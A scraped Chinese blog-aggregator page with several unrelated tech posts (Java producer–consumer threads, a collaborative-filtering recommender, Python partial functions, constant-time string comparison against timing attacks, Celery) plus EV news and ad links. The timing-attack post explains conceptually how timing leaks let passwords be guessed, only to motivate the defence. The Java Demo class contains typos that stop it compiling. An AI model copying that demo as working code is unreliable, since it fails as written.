標籤: 網頁設計公司

Java 多線程基礎（十二）生產者與消費者

access_timePosted on by admin

 Java 多線程基礎（十二）生產者與消費者

一、生產者與消費者模型

生產者與消費者問題是個非常典型的多線程問題，涉及到的對象包括“生產者”、“消費者”、“倉庫”和“產品”。他們之間的關係如下：

①、生產者僅僅在倉儲未滿時候生產，倉滿則停止生產。
②、消費者僅僅在倉儲有產品時候才能消費，倉空則等待。
③、當消費者發現倉儲沒產品可消費時候會通知生產者生產。
④、生產者在生產出可消費產品時候，應該通知等待的消費者去消費。

生產者消費者模型具體來講，就是在一個系統中，存在生產者和消費者兩種角色，他們通過內存緩衝區進行通信，生產者生產消費者需要的資料，消費者把資料做成產品。生產消費者模式如下圖。

在日益發展的服務類型中，譬如註冊用戶這種服務，它可能解耦成好幾種獨立的服務（賬號驗證，郵箱驗證碼，手機短信碼等）。它們作為消費者，等待用戶輸入數據，在前台數據提交之後會經過分解併發送到各個服務所在的url，分發的那個角色就相當於生產者。消費者在獲取數據時候有可能一次不能處理完，那麼它們各自有一個請求隊列，那就是內存緩衝區了。做這項工作的框架叫做消息隊列。

二、生產者與消費者實現

下面通過生產包子的例子及wait()/notify()方式實現該模型(後面學習線程池相關內容之後，再通過其它方式實現生產/者消費者模型)。

麵包類：

public class Bread {
    private int capacity;    // 麵包的容量
    private int size;        // 麵包的實際數量
    public Bread(int capacity) {
        this.capacity = capacity;
        this.size = 0;
    }
    
    // 生產麵包
    public synchronized void produce(int val) {
        try {
             // left 表示“想要生產的數量”(有可能生產量太多，需多此生產)
            int left = val;
            while (left > 0) {
                // 庫存已滿時，等待“消費者”消費產品。
                while (size >= capacity)
                    wait();
                // 獲取“實際生產的數量”(即庫存中新增的數量)
                // 如果“庫存”+“想要生產的數量”>“總的容量”，則“實際增量”=“總的容量”-“當前容量”。(此時填滿倉庫)
                // 否則“實際增量”=“想要生產的數量”
                int inc = (size+left)>capacity ? (capacity-size) : left;
                size += inc;
                left -= inc;
                System.out.printf("%s produce(%3d) --> left=%3d, inc=%3d, size=%3d\n",
                        Thread.currentThread().getName(), val, left, inc, size);
                // 通知“消費者”可以消費了。
                notifyAll();
            }
        }catch(InterruptedException e) {
            e.printStackTrace();
        }
    }
    // 消費麵包
    public synchronized void consume(int val) {
        try {
             // left 表示“客戶要消費數量”(有可能消費量太大，庫存不夠，需多此消費)
            int left = val;
            while (left > 0) {
                // 庫存為0時，等待“生產者”生產產品。
                while (size <= 0)
                    wait();
                // 獲取“實際消費的數量”(即庫存中實際減少的數量)
                // 如果“庫存”<“客戶要消費的數量”，則“實際消費量”=“庫存”；
                // 否則，“實際消費量”=“客戶要消費的數量”。
                int dec = (size<left) ? size : left;
                size -= dec;
                left -= dec;
                System.out.printf("%s consume(%3d) <-- left=%3d, dec=%3d, size=%3d\n",
                        Thread.currentThread().getName(), val, left, dec, size);
                notifyAll();
            }
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

生產者類

public class Producer{
    Bread bread;
    public Producer(Bread bread) {
        this.bread = bread;
    }
    public void produce(final int val) {
        new Thread(() -> {
            bread.produce(val);
        }).start();;
    }
}

消費者類

public class Customer {
    private Bread bread;
    public Customer(Bread bread) {
        this.bread = bread;
    }
    public void consume(final int val) {
        new Thread(() -> {
            bread.consume(val);
        }).start();;
    }
}

測試類代碼

public class Demo {
    public static void main(String[] args) {
        Bread bread = new Bread(100);
        Producer producer = new Producer(bread);
        Cunstomer customer = new Customer(bread);
        
        producer.produce(60);
        producer.produce(120);
        consumer.consume(90);
        consumer.consume(150);
        producer.produce(110);
    }
}
// 運行結果
Thread-1 produce( 60) --> left=  0, inc= 60, size= 60
Thread-5 produce(110) --> left= 70, inc= 40, size=100
Thread-4 consume(150) <-- left= 50, dec=100, size=  0
Thread-2 produce(120) --> left= 20, inc=100, size=100
Thread-3 consume( 90) <-- left=  0, dec= 90, size= 10
Thread-4 consume(150) <-- left= 40, dec= 10, size=  0
Thread-5 produce(110) --> left=  0, inc= 70, size= 70
Thread-4 consume(150) <-- left=  0, dec= 40, size= 30
Thread-2 produce(120) --> left=  0, inc= 20, size= 50

說明：

①、Producer是“生產者”類，它與“麵包(bread)”關聯。當調用“生產者”的produce()方法時，它會新建一個線程並向“麵包類”中生產產品。
②、Customer是“消費者”類，它與“麵包(bread)”關聯。當調用“消費者”的consume()方法時，它會新建一個線程並消費“麵包類”中的產品。
③、Bread是麵包類，記錄“麵包的產量(capacity)”以及麵包當前實際數目(size)”。
        麵包類的生產方法produce()和消費方法consume()方法都是synchronized方法，進入synchronized方法體，意味着這個線程獲取到了該“麵包”對象的同步鎖。這也就是說，同一時間，生產者和消費者線程只能有一個能運行。通過同步鎖，實現了對“殘酷”的互斥訪問。
       對於生產方法 produce() 而言：當麵包量滿時，生產者線程等待，需要等待消費者消費產品之後，生產線程才能生產；生產者線程生產完麵包之後，會通過 notifyAll() 喚醒同步鎖上的所有線程，包括“消費者線程”，即我們所說的“通知消費者進行消費”。
      對於消費方法consume()而言：當倉庫為空時，消費者線程等待，需要等待生產者生產產品之後，消費者線程才能消費；消費者線程消費完產品之後，會通過 notifyAll() 喚醒同步鎖上的所有線程，包括“生產者線程”，即我們所說的“通知生產者進行生產”。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角，別等搬了再說!

※新北清潔公司,居家、辦公、裝潢細清專業服務

※教你寫出一流的銷售文案?

基於用戶的協同過濾來構建推薦系統

access_timePosted on by admin

1.概述

之前介紹了如何構建一個推薦系統，今天給大家介紹如何基於用戶的協同過濾來構建推薦的實戰篇。

2.內容

協同過濾技術在推薦系統中應用的比較廣泛，它是一個快速發展的研究領域。它比較常用的兩種方法是基於內存（Memory-Based）和基於模型（Model-Based）。

  • 基於內存：主要通過計算近似度來進行推薦，比如基於用戶（Used-Based）和基於物品（Item-Based）的協同過濾，這兩個模式中都會首先構建用戶交互矩陣，然後矩陣的行向量和列向量可以用來表示用戶和物品，然後計算用戶和物品的相似度來進行推薦；
  • 基於模型：主要是對交互矩陣進行填充，預測用戶購買某個物品的可能性。

為了解決這些問題，可以通過建立協同過濾模型，利用購買數據向客戶推薦產品。下面，我們通過基於用戶的協同過濾（基於內存），通過實戰來一步步實現其中的細節。基於用戶的系統過濾體現在具有相似特徵的人擁有相似的喜好。比如，用戶A向用戶B推薦了物品C，而B購買過很多類似C的物品，並且評價也高。那麼，在未來，用戶B也會有很大的可能會去購買物品C，並且用戶B會基於相似度度量來推薦物品C。

2.1 基於用戶與用戶的協同過濾

這種方式識別與查詢用戶相似的用戶，並估計期望的評分為這些相似用戶評分的加權平均值。實戰所使用的Python語言，這裏需要依賴的庫如下：

  • pandas
  • numpy
  • sklearn

Python環境：

  • 版本3.7.6
  • Anaconda3

2.2 評分函數

這裏給非個性化協同過濾（不包含活躍用戶的喜歡、不喜歡、以及歷史評分），返回一個以用戶U和物品I作為輸入參數的分數。該函數輸出一個分數，用於量化用戶U喜歡 / 偏愛物品I的程度。這通常是通過對與用戶相似的人的評分來完成的。涉及的公式如下：

 

 這裏其中s為預測得分，u為用戶，i為物品，r為用戶給出的評分，w為權重。在這種情況下，我們的分數等於每個用戶對該項目的評價減去該用戶的平均評價再乘以某個權重的總和，這個權重表示該用戶與其他用戶有多少相似之處，或者對其他用戶的預測有多少貢獻。這是用戶u和v之間的權重，分數在0到1之間，其中0是最低的，1是最高的。理論上看起來非常完美，那為啥需要從每個用戶的評分中減去平均評分，為啥要使用加權平均而不是簡單平均？這是因為我們所處理的用戶類型，首先，人們通常在不同的尺度上打分，用戶A可能是一個积極樂觀的用戶，會給用戶A自己喜歡的電影平均高分（例如4分、或者5分）。而用戶B是一個不樂觀或者對評分標準比較高的用戶，他可能對最喜歡的電影評分為2分到5分之間。用戶B的2分對應到用戶A的4分。改進之處是可以通過規範化用戶評分來提高算法效率。一種方法是計算s(u,i)的分數，它是用戶對每件物品的平均評價加上一些偏差。通過使用餘弦相似度來計算上述公式中給出的權重，同時，按照上述方式對數據進行歸一化，在pandas中進行一些數據分析。

2.2.1 導入Python依賴包

import pandas as pd
import numpy as np
from sklearn.metrics.pairwise import cosine_similarity
from sklearn.metrics import pairwise_distances

2.2.2 加載數據源

加載數據示例代碼如下所示：

movies = pd.read_csv("data/movies.csv")
Ratings = pd.read_csv("data/ratings.csv")
Tags = pd.read_csv("data/tags.csv")

結果預覽如下：

print(movies.head())
print(Ratings.head())
print(Tags.head())

 

 構建數據：

Mean = Ratings.groupby(by="userId", as_index=False)['rating'].mean()
Rating_avg = pd.merge(Ratings, Mean, on='userId')
Rating_avg['adg_rating'] = Rating_avg['rating_x'] - Rating_avg['rating_y']
print(Rating_avg.head())

結果如下：

 

2.3 餘弦相似度

 對於上面的公式，我們需要找到有相似想法的用戶。找到一個喜歡和不喜歡的用戶聽起來很有意思，但是我們如何找到相似性呢？那麼這裏我們就需要用到餘弦相似度，看看用戶有多相似。它通常是根據用戶過去的評分來計算的。

這裏使用到Python的的sklearn的cosine_similarity函數來計算相似性，並做一些數據預處理和數據清洗。實例代碼如下：

check = pd.pivot_table(Rating_avg,values='rating_x',index='userId',columns='movieId')
print(check.head())
final = pd.pivot_table(Rating_avg,values='adg_rating',index='userId',columns='movieId')
print(final.head())

結果如下：

上圖中包含了很多NaN的值，這是因為每個用戶都沒有看過所有的電影，所以這種類型的矩陣被稱為稀疏矩陣。類似矩陣分解的方法被用來處理這種稀疏性，接下來，我們來對這些NaN值做相關替換。

這裏通常有兩種方式：

  1. 使用行上的用戶平均值；
  2. 用戶在列上的電影平均值

代碼如下：

# Replacing NaN by Movie Average
final_movie = final.fillna(final.mean(axis=0))
print(final_movie.head())

# Replacing NaN by user Average
final_user = final.apply(lambda row: row.fillna(row.mean()), axis=1)
print(final_user.head())

結果如下：

 

 接着，我們開始計算用戶之間的相似性，代碼如下：

# user similarity on replacing NAN by item(movie) avg
cosine = cosine_similarity(final_movie)
np.fill_diagonal(cosine, 0)
similarity_with_movie = pd.DataFrame(cosine, index=final_movie.index)
similarity_with_movie.columns = final_user.index
# print(similarity_with_movie.head())

# user similarity on replacing NAN by user avg
b = cosine_similarity(final_user)
np.fill_diagonal(b, 0 )
similarity_with_user = pd.DataFrame(b,index=final_user.index)
similarity_with_user.columns=final_user.index
# print(similarity_with_user.head())

結果如下：

 

 然後，我們來檢驗一下我們的相似度是否有效，代碼如下：

def get_user_similar_movies( user1, user2 ):
    common_movies = Rating_avg[Rating_avg.userId == user1].merge(
    Rating_avg[Rating_avg.userId == user2],
    on = "movieId",
    how = "inner" )
    return common_movies.merge( movies, on = 'movieId' )

a = get_user_similar_movies(370,86309)
a = a.loc[ : , ['rating_x_x','rating_x_y','title']]
print(a.head())

結果如下：

 

 從上圖中，我們可以看出產生的相似度幾乎是相同的，符合真實性。

2.4 相鄰用戶

在2.3中計算了所有用戶的相似度，但是在大數據領域，推薦系統與大數據相結合是至關重要的。以電影推薦為例子，構建一個矩陣（862 * 862），這個與實際的用戶數據（百萬、千萬或者更多）相比，這是一個很小的矩陣。因此在計算任何物品的分數時，如果總是查看所有其他用戶將不是一個好的解決方案或者方法。因此，採用相鄰用戶的思路，對於特定用戶，只取K個類似用戶的集合。

下面，我們對K取值30，所有的用戶都有30個相鄰用戶，代碼如下：

def find_n_neighbours(df,n):
    order = np.argsort(df.values, axis=1)[:, :n]
    df = df.apply(lambda x: pd.Series(x.sort_values(ascending=False)
           .iloc[:n].index, 
          index=['top{}'.format(i) for i in range(1, n+1)]), axis=1)
    return df

# top 30 neighbours for each user
sim_user_30_u = find_n_neighbours(similarity_with_user,30)
print(sim_user_30_u.head())

sim_user_30_m = find_n_neighbours(similarity_with_movie,30)
print(sim_user_30_m.head())

結果如下：

 

 2.5 計算最後得分

實現代碼如下所示：

def User_item_score(user,item):
    a = sim_user_30_m[sim_user_30_m.index==user].values
    b = a.squeeze().tolist()
    c = final_movie.loc[:,item]
    d = c[c.index.isin(b)]
    f = d[d.notnull()]
    avg_user = Mean.loc[Mean['userId'] == user,'rating'].values[0]
    index = f.index.values.squeeze().tolist()
    corr = similarity_with_movie.loc[user,index]
    fin = pd.concat([f, corr], axis=1)
    fin.columns = ['adg_score','correlation']
    fin['score']=fin.apply(lambda x:x['adg_score'] * x['correlation'],axis=1)
    nume = fin['score'].sum()
    deno = fin['correlation'].sum()
    final_score = avg_user + (nume/deno)
    return final_score

score = User_item_score(320,7371)
print("score (u,i) is",score)

結果如下：

 

這裏我們算出來的預測分數是4.25，因此可以認為用戶（370），可能喜歡ID（7371）的電影。接下來，我們給用戶（370）做電影推薦，實現代碼如下：

Rating_avg = Rating_avg.astype({"movieId": str})
Movie_user = Rating_avg.groupby(by = 'userId')['movieId'].apply(lambda x:','.join(x))

def User_item_score1(user):
    Movie_seen_by_user = check.columns[check[check.index==user].notna().any()].tolist()
    a = sim_user_30_m[sim_user_30_m.index==user].values
    b = a.squeeze().tolist()
    d = Movie_user[Movie_user.index.isin(b)]
    l = ','.join(d.values)
    Movie_seen_by_similar_users = l.split(',')
    Movies_under_consideration = list(set(Movie_seen_by_similar_users)-set(list(map(str, Movie_seen_by_user))))
    Movies_under_consideration = list(map(int, Movies_under_consideration))
    score = []
    for item in Movies_under_consideration:
        c = final_movie.loc[:,item]
        d = c[c.index.isin(b)]
        f = d[d.notnull()]
        avg_user = Mean.loc[Mean['userId'] == user,'rating'].values[0]
        index = f.index.values.squeeze().tolist()
        corr = similarity_with_movie.loc[user,index]
        fin = pd.concat([f, corr], axis=1)
        fin.columns = ['adg_score','correlation']
        fin['score']=fin.apply(lambda x:x['adg_score'] * x['correlation'],axis=1)
        nume = fin['score'].sum()
        deno = fin['correlation'].sum()
        final_score = avg_user + (nume/deno)
        score.append(final_score)
    data = pd.DataFrame({'movieId':Movies_under_consideration,'score':score})
    top_5_recommendation = data.sort_values(by='score',ascending=False).head(5)
    Movie_Name = top_5_recommendation.merge(movies, how='inner', on='movieId')
    Movie_Names = Movie_Name.title.values.tolist()
    return Movie_Names

user = int(input("Enter the user id to whom you want to recommend : "))
predicted_movies = User_item_score1(user)
print(" ")
print("The Recommendations for User Id : 370")
print("   ")
for i in predicted_movies:
    print(i)

結果如下：

 

3.總結

基於用戶的協同過濾，流程簡述如下：

  1. 採集數據 & 存儲數據
  2. 加載數據
  3. 數據建模（數據預處理 & 數據清洗）
  4. 計算相似性（餘弦相似度、相鄰計算）
  5. 得分預測（預測和最終得分計算）
  6. 物品推薦

4.結束語

這篇博客就和大家分享到這裏，如果大家在研究學習的過程當中有什麼問題，可以加群進行討論或發送郵件給我，我會盡我所能為您解答，與君共勉！

另外，博主出書了《Kafka並不難學》和《Hadoop大數據挖掘從入門到進階實戰》，喜歡的朋友或同學， 可以在公告欄那裡點擊購買鏈接購買博主的書進行學習，在此感謝大家的支持。關注下面公眾號，根據提示，可免費獲取書籍的教學視頻

,

這篇博客就和大家分享到這裏，如果大家在研究學習的過程當中有什麼問題，可以加群進行討論或發送郵件給我，我會盡我所能為您解答，與君共勉！

另外，博主出書了《Kafka並不難學》和《Hadoop大數據挖掘從入門到進階實戰》，喜歡的朋友或同學， 可以在公告欄那裡點擊購買鏈接購買博主的書進行學習，在此感謝大家的支持。關注下面公眾號，根據提示，可免費獲取書籍的教學視頻

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

特斯拉與 BMW 談合作 可望發展碳纖維與電池技術

access_timePosted on by admin

特斯拉（Tesla）明星執行長 Elon Musk 爆料，德國豪華車品牌 BMW 與特斯拉曾洽商合作，範圍涵蓋電池與輕量化車體零件。   Musk 在接受德國媒體 Der Spiegel 專訪時表示，對 BMW 以碳纖維材料強化車體感到非常有興趣，認為相當具成本效益，雙方在非正式場合會面時，有討論過合作的可能，但尚未達成決議。   據路透社報導，BMW 為發展碳纖維原料而成立合資公司 SGL，i3 電動車與 i8 油電混合動力跑車的駕駛艙與後蓋零件均採用到碳纖維材料。除此之外，Musk 還透露有意與 BMW 一起搞電池科技，以及電動車充電站，他甚至於計畫 5~6 年內在德國蓋一座電池廠。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格，搶佔消費者視覺第一線

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角，別等搬了再說!

※新北清潔公司,居家、辦公、裝潢細清專業服務

※教你寫出一流的銷售文案?

不需充電的零排放氫燃料電池機車 北市府試用評估成效

access_timePosted on by admin

    繼新北市電動機車 E-bike 於 10 月上路後，台北市政府也採用能源局補助業者研發旳氫燃料電池機車，每台配備 2 支金屬儲氫罐，交換費用 30 元，行駛中排水，但二氧化碳排放為 0，續航力定速時可達 86 公里，不過，若在行駛市區時，遇上紅綠燈走走停停，續航力會降為 50 公里。環保局表示，廠商提供試騎的 15 輛氫燃料電池機車將用於環保稽查、工地巡查、土地丈量等業務。   環保局表示，氫燃料電池首創用於機車，金屬容器包覆氫氧化物粉末，相較氣體狀較安全，業者提供的 15 部試騎機車將停於於市府公務停車場，也會提供交換氣體，試用 3 個月後評估成效。   負責研發的亞太燃料電池科技專案經理陳建豪表示，氣燃料電池不須充電，而是利用能源轉換，將氫氣透過觸媒轉換成電能，轉換過程僅會排放水，該款氫燃料電池機車時速最快可達 60 公里。業者說，量產後機車售價約 7 萬元，但免燃料稅。陳建豪表示，全球各國多有氫燃料電池的安全使用規範，但台灣沒有，盼政府能協助立法。     （Source：）

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

Python 偏函數用法全方位解析

access_timePosted on by admin

Python的functools模塊中有一種函數叫“偏函數”，自從接觸它以來，發現確實是一個很有用且簡單的函數，相信你看完這篇文章，你也有相見恨晚的感覺。

我們都知道，函數入參可以設置默認值來簡化函數調用，而偏函數的作用就是將入參進行默認填充，降低函數使用的難度。

如int()函數，可以將字符型轉換為整型，且默認的都是以十進制形式來轉換，那為什麼一定是十進制呢？如果想用以二進制的形式轉換呢？其實我們可以看一下int函數它本身的定義

可以看到int有兩種用法，可以傳一個位置參數，還可以多傳一個關鍵字參數base，也就是基於什麼格式轉換，默認不傳base參數是以十進制轉換。所以，用二進制形式轉換的話只要base=2即可（見下方代碼）

1 value = int('10000') 2 print(value)    # 10000
3 
4 value = int('10000', base=2) 5 print(value)    # 16

如果每次轉換的字符串的時候都要輸入base參數，顯得很麻煩，因此偏函數的作用就體現出來了，可以使用functools.partial()函數來重新定義

1 from functools import partial 2 
3 int2 = partial(int, base=2) 4 res = int2('10000') 5 print(res)     # 16

到這裏，你應該已經感覺到了偏函數的一點點魅力吧，那我們再從多個角度進一步看透它。

  • 自定義函數的使用
1 def add(a, b, c): 2     print('a=',a,'b=',b,'c=',c) 3     return a + b + c 4 
5 add10 = partial(add, 10) 6 res = add10(1, 2)     # a= 10 b= 1 c= 2

如上代碼中，partial(add, 10)入參並沒有指定哪個關鍵字參數，函數卻默認的將這個值傳給了第一個參數a，那就說明，當沒有指定默認參數時，默認賦值給第一個參數，餘下參數按位置參數賦值。

  • 當入參為可變參數時
1 def sum(*args): 2     s = 0 3     for n in args: 4         s += n 5     return s 6 
7 sum10 = partial(sum, 10) 8 print(sum10(1))    # 11
9 print(sum10())     # 10

按上述理解，沒有指定默認參數時，默認賦給第一個參數，那麼第一個參數永遠是10，後面再傳入參的話就從第二個參數開始計算，因此會實現10 + 1 = 11 的結果。同樣，如果不繼續傳參的話，只有默認的10，所以結果就是10

  • 當入參為可變關鍵字參數時
 1 D = {'value1':10, 'value2':20}
 2 V = {'Default':100}
 3 def show(**kw):
 4     for k in kw:
 5         print(k, kw.get(k))
 6 
 7 showDef = partial(show, **V)    
 8 showDef(**D)   
 9 # Default 100
10 # value1 10
11 # value2 20

同理，此時入參由於是可變參數，因此默認是第一個傳入，先打印Default關鍵字，這裏關注一下函數的寫法，可變關鍵字參數要寫成（**V）

  • 當入參為限制的關鍵字參數時
1 def student(name, * , age, city): 2     print('name:',name, 'age:',age, 'city:',city) 3 
4 studentAge = partial(student, age=20) 5 studentAge('Tom','Beijing') 6 # TypeError: student() takes 1 positional argument but 2 positional arguments (and 1 keyword-only argument) were given

我們知道，當用*號分隔開，表示後面的關鍵字參數是必傳的，因此對於默認參數也是同樣適用，即當參數為必傳時，偏函數也需要對每個關鍵字參數設置默認值。因此修改後為

1 studentAge = partial(student, age=20, city='Beijing') 2 studentAge('Tom')  # name: Tom age: 20 city: Beijing

 

綜上，偏函數可以將目標函數的部分參數固化后，重新定義為新的函數，降低了編碼的複雜度，尤其是當參數很多的時候，或者只用到其中某些參數的場景下時，效果更為顯著。

到這裏，你是否有了相見恨晚的感覺呢？簡單函數小技巧，非常實用的偏函數用法就介紹完了，如果覺得有用，請關注我，後續會繼續分享更多好用好知識。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站，提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞，目前市場使用率逐漸普及化

※廣告預算用在刀口上，台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

這 10 行比較字符串相等的代碼給我整懵逼了，不信你也來看看|原創版

access_timePosted on by admin

抱歉用這種標題吸引你點進來了，不過你不妨看完，看看能否讓你有所收穫。​（有收穫，請評論區留個言，沒收穫，下周末我直播吃**，哈哈，這你也信）

補充說明：微信公眾號改版，對各個號主影響還挺大的。目前從後台數據來看，對我影響不大，因為我這反正都是小號，閱讀量本身就少的可憐，真相了，狗頭（剛從交流群學會的表情）。

先直接上代碼：

boolean safeEqual(String a, String b) { if (a.length() != b.length()) { return false; } int equal = 0; for (int i = 0; i < a.length(); i++) { equal |= a.charAt(i) ^ b.charAt(i); } return equal == 0; }

上面的代碼是我根據原版（Scala）翻譯成 Java的，Scala 版本（最開始吸引程序猿石頭注意力的代碼）如下：

def safeEqual(a: String, b: String) = { if (a.length != b.length) { false } else { var equal = 0 for (i <- Array.range(0, a.length)) { equal |= a(i) ^ b(i) } equal == 0 } }

剛開始看到這段源碼感覺挺奇怪的，這個函數的功能是比較兩個字符串是否相等，首先“長度不等結果肯定不等，立即返回”這個很好理解。

再看看後面的，稍微動下腦筋，轉彎下也能明白這其中的門道：通過異或操作1^1=0, 1^0=1, 0^0=0，來比較每一位，如果每一位都相等的話，兩個字符串肯定相等，最後存儲累計異或值的變量equal必定為 0，否則為 1。

再細想一下呢？

for (i <- Array.range(0, a.length)) { if (a(i) ^ b(i) != 0) // or a(i) != b[i] return false }

我們常常講性能優化，從效率角度上講，難道不是應該只要中途發現某一位的結果不同了（即為1）就可以立即返回兩個字符串不相等了嗎？(如上所示)

這其中肯定有……

再再細想一下呢？

結合方法名稱 safeEquals 可能知道些眉目，與安全有關。

本文開篇的代碼來自playframewok 里用來驗證cookie(session)中的數據是否合法(包含簽名的驗證)，也是石頭寫這篇文章的由來。

以前知道通過延遲計算等手段來提高效率的手段，但這種已經算出結果卻延遲返回的，還是頭一回！

我們來看看，JDK 中也有類似的方法，如下代碼摘自 java.security.MessageDigest：

public static boolean isEqual(byte[] digesta, byte[] digestb) { if (digesta == digestb) return true; if (digesta == null || digestb == null) { return false; } if (digesta.length != digestb.length) { return false; } int result = 0; // time-constant comparison for (int i = 0; i < digesta.length; i++) { result |= digesta[i] ^ digestb[i]; } return result == 0; }

看註釋知道了，目的是為了用常量時間複雜度進行比較。

但這個計算過程耗費的時間不是常量有啥風險？ （腦海里響起了背景音樂：“小朋友，你是否有很多問號？”）

真相大白

再深入探索和了解了一下，原來這麼做是為了防止計時攻擊（Timing Attack）。（也有人翻譯成時序攻擊​）​

計時攻擊(Timing Attack)

計時攻擊是邊信道攻擊(或稱”側信道攻擊”， Side Channel Attack， 簡稱SCA) 的一種，邊信道攻擊是一種針對軟件或硬件設計缺陷，走“歪門邪道”的一種攻擊方式。

這種攻擊方式是通過功耗、時序、電磁泄漏等方式達到破解目的。在很多物理隔絕的環境中，往往也能出奇制勝，這類新型攻擊的有效性遠高於傳統的密碼分析的數學方法（某百科上說的）。

這種手段可以讓調用 safeEquals("abcdefghijklmn", "xbcdefghijklmn") （只有首位不相同）和調用 safeEquals("abcdefghijklmn", "abcdefghijklmn") （兩個完全相同的字符串）的所耗費的時間一樣。防止通過大量的改變輸入並通過統計運行時間來暴力破解出要比較的字符串。

舉個，如果用之前說的“高效”的方式來實現的話。假設某個用戶設置了密碼為 password，通過從a到z（實際範圍可能更廣）不斷枚舉第一位，最終統計發現 p0000000 的運行時間比其他從任意a~z的都長（因為要到第二位才能發現不同，其他非 p 開頭的字符串第一位不同就直接返回了），這樣就能猜測出用戶密碼的第一位很可能是p了，然後再不斷一位一位迭代下去最終破解出用戶的密碼。

當然，以上是從理論角度分析，確實容易理解。但實際上好像通過統計運行時間總感覺不太靠譜，這個運行時間對環境太敏感了，比如網絡，內存，CPU負載等等都會影響。

但安全問題感覺更像是 “寧可信其有，不可信其無”。為了防止(特別是與簽名/密碼驗證等相關的操作)被 timing attack，目前各大語言都提供了相應的安全比較函數。各種軟件系統（例如 OpenSSL）、框架（例如 Play）的實現也都採用了這種方式。

例如 “世界上最好的編程語言”（粉絲較少，評論區應該打不起架來）—— php中的:

// Compares two strings using the same time whether they're equal or not. // This function should be used to mitigate timing attacks; // for instance, when testing crypt() password hashes. bool hash_equals ( string $known_string , string $user_string ) //This function is safe against timing attacks. boolean password_verify ( string $password , string $hash )

其實各種語言版本的實現方式都與上面的版本差不多，將兩個字符串每一位取出來異或(^)並用或(|)保存，最後通過判斷結果是否為 0 來確定兩個字符串是否相等。

如果剛開始沒有用 safeEquals 去實現，後續的版本還會通過打補丁的方式去修復這樣的安全隱患。

例如 JDK 1.6.0_17 中的Release Notes[1]中就提到了MessageDigest.isEqual 中的bug的修復，如下圖所示：

MessageDigest timing attack vulnerabilities

大家可以看看這次變更的的詳細信息openjdk中的 bug fix diff[2]為：

MessageDigest.isEqual計時攻擊

Timing Attack 真的可行嗎？

我覺得各大語言的 API 都用這種實現，肯定還是有道理的，理論上應該可以被利用的。 這不，學術界的這篇論文就宣稱用這種計時攻擊的方法破解了 OpenSSL 0.9.7 的RSA加密算法了。關於 RSA 算法的介紹可以看看之前本人寫的這篇文章。

這篇Remote Timing Attacks are Practical[3] 論文中指出（我大致翻譯下摘要，感興趣的同學可以通過文末鏈接去看原文）：

計時攻擊往往用於攻擊一些性能較弱的計算設備，例如一些智能卡。我們通過實驗發現，也能用於攻擊普通的軟件系統。本文通過實驗證明，通過這種計時攻擊方式能夠攻破一個基於 OpenSSL 的 web 服務器的私鑰。結果證明計時攻擊用於進行網絡攻擊在實踐中可行的，因此各大安全系統需要抵禦這種風險。

最後，本人畢竟不是專研完全方向，以上描述是基於本人的理解，如果有不對的地方，還請大家留言指出來。感謝。

補充說明2：感謝正在閱讀文章的你，讓我還有動力繼續堅持更新原創。

本人發文不多，但希望寫的文章能達到的目的是：佔用你的閱讀時間，就盡量能夠讓你有所收穫。

如果你覺得我的文章有所幫助，還請你幫忙轉發分享，另外請別忘了點擊公眾號右上角加個星標，好讓你別錯過後續的精彩文章（微信改版了，或許我發的文章都不能推送到你那了）。

​原創真心不易，希望你能幫我個小忙唄，如果本文內容你覺得有所啟發，有所收穫，請幫忙點個“在看”唄，或者轉發分享讓更多的小夥伴看到。 ​ 參考資料：

  • Timing Attacks on RSA: Revealing Your Secrets through the Fourth Dimension
  • Remote Timing Attacks are Practical

參考資料

[1] Release Notes: http://www.oracle.com/technetwork/java/javase/6u17-141447.html

[2] openjdk中的 bug fix diff: http://hg.openjdk.java.net/jdk6/jdk6/jdk/rev/562da0baf70b

[3] Remote Timing Attacks are Practical: http://crypto.stanford.edu/~dabo/papers/ssl-timing.pdf

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

Celery淺談

access_timePosted on by admin

一、Celery 核心模塊

1. Brokers

brokers 中文意思為中間人，在這裏就是指任務隊列本身，接收生產者發來的消息即Task，將任務存入隊列。任務的消費者是Worker，Brokers 就是生產者和消費者存放/拿取產品的地方(隊列)。Celery 扮演生產者和消費者的角色。

